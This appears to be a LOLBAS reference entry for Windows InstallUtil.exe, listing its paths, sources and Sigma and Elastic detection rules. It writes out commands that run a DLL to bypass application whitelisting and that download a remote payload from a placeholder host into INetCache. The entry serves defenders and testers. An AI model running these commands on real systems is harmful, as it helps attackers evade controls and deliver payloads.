.. /Installutil.exe

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Paths:

• C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
• C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
• C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
• C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

Resources:

• https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/
• https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12
• https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md
• https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/
• https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
• https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

Acknowledgements:

• Casey Smith (@subtee)
• Nir Chako (Pentera) (@C_h4ck_0)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml
• Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml
• Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

AWL bypass

1. Execute the target .NET DLL or EXE.

   InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll

   Use case

   Use to execute code and bypass application whitelisting

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1218.004

   Tags

   Execute: DLL

   This LOLBAS executes Dynamic-Link Libraries (DLLs).

   Input: Custom Format

   This LOLBAS expects the input file to follow a set structure; check the description and linked resources for more details.

Execute

1. Execute the target .NET DLL or EXE.

   InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll

   Use case

   Use to execute code and bypass application whitelisting

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1218.004

   Tags

   Execute: DLL

   This LOLBAS executes Dynamic-Link Libraries (DLLs).

   Input: Custom Format

   This LOLBAS expects the input file to follow a set structure; check the description and linked resources for more details.

Download

1. It will download a remote payload and place it in INetCache.

   InstallUtil.exe https://example.com/payload

   Use case

   Downloads payload from remote server

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1105

   Tags

   Download: INetCache

   INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
   If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
   cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"